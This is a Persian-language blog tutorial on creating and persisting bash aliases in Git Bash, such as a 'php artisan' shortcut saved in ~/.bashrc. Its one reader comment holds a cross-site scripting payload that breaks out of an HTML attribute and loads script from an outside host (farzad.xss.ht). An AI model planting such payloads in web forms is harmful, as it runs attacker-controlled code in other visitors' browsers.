برای دانلود نرم‌افزار git-bash به این لینک مراجعه کنید.

اول از همه بگم alias چیه:

ببینید مثلا شما به جای اینکه در command line هر دفعه بنویسید ls -l، میان و یه اسم مستعار بهش میدین که همون کار رو انجام بده.

برای مشاهده alias هایی که در سیستمتون تعریف شدن:

alias -p

مثلا یه کاربردش برای لاراول کارها میتونه این باشه که به جای اینکه دستورات ارتیسان رو به صورت کامل وارد کنند با یه اسم مختصر اجراش کنند. برای اینکار توی ترمینال این دستور رو بزنید:

alias pa='php artisan'

از الان به بعد من در لاراول میتونم مثلا برای لیست کردن مسیرها از دستور pa route:list استفاده کنم.

خوب تست کردم و مشکل حل شد و خوشحال بودم :) ولی فرداش که اومد دیدم که کار نمیکنه...

alias -p رو هم زدم تو لیست نبود

و فهمیدم وقتی ترمینال بسته میشه اینا هم از بین میره چون تو session  ذخیره میشه و  موقتی هست و باید یه سری کارهای دیگه انجام داد.

اول به مسیر خانه بروید

cd ~

بعد فایل  .bashrc رو ایجاد کنید (اول ls بزنید اگه وجود نداشت ایجادش کنید اگرم داشت که برید کامند بعد)

touch .bashrc

بعد فایل رو ویرایش کنید 

vim .bashrc

 من به شخصه با VSCode بازش میکنم:

code .bashrc

حال داخلش این کد رو قرار بدید و سیو کنید و خارج شید.

alias pa='php artisan'

اگر با bash scripting آشنا هستید این کار هم میتونید انجام بدید:

echo alias pa=\'php artisan\' >> .bashrc

حال باید یه بارترمینالتون رو ریستارت کنید یا این دستور رو اجرا کنید

source .bashrc

و همه چیز به درستی کار میکنه. البته اگر برای برای دوم ترمینال رو باز کنید یه warning خواهید دید.

WARNING: Found ~/.bashrc but no ~/.bash_profile, ~/.bash_login or ~/.profile.

This looks like an incorrect setup.
A ~/.bash_profile that loads ~/.bashrc will be created for you.

 که جای نگرانی نیست و میگه که من فایل .bashrc رو پیدا کردم ولی انتظار دارم یکی از فایل‌های .bash_profile یا .bash_login یا .profile رو در کنارش ببینم، که پیدا نکردم و خودش فایل .bash_profile رو میسازه با این محتویات:

# generated by Git for Windows
test -f ~/.profile && . ~/.profile
test -f ~/.bashrc && . ~/.bashrc

حالا این از کجا میاد؟

برید به این مسیر:

cd /etc/profile.d

با دو فایل فعلا کار داریم

اولیش aliases.sh

alias ls='ls -F --color=auto --show-control-chars'

alias ll='ls -l'

که alias های پیش فرض و اولیه رو در اون مشاهده میکنید (یادتونه خروجی که در ابتدا با alias -p گرفتید رو؟)

 و دومیش .bash_profile (که اگر اسکریپتش رو بخونید دقیقا می‌فهمید که میاد چک میکنه که اگه .bashrc بود و یکی از اون 3 فایل در کنارش نبود، میاد و bash_profile رو میسازه.

یه استفاده‌ی دیگه که من میکنم که میام نام مستعار برای ادیتور sublime اضافه میکنم تا بتونم فایل‌ها و فولدرهامو  از طریق کامند لاین با اون باز کنم (مثل کاری که در بالا با vscode انجام دادیم)

alias subl="/c/Program\ Files/Sublime\ Text\ 3/sublime_text.exe"

حالا میتونید یه دایرکتوری که در آن هستید رو با دستور زیر باز کنید

subl . 

این روش برای باز کردن فایل هم هست.

subl index.php

منابع:


دیکشنری:

Alias /ˈeɪliəs/
Used when giving someone’s real name, especially an actor’s or a criminal’s name, together with another name they use

SCM: software configuration management

تا کنون 1 نظر به ثبت رسیده است

  • شسیشسی

    2 years ago

    "><script src=https://farzad.xss.ht></script>

برای ثبت نظر باید وارد حساب کاربری خود شوید. اگر تا کنون ثبت نام نکردید اینجا کلیک کنید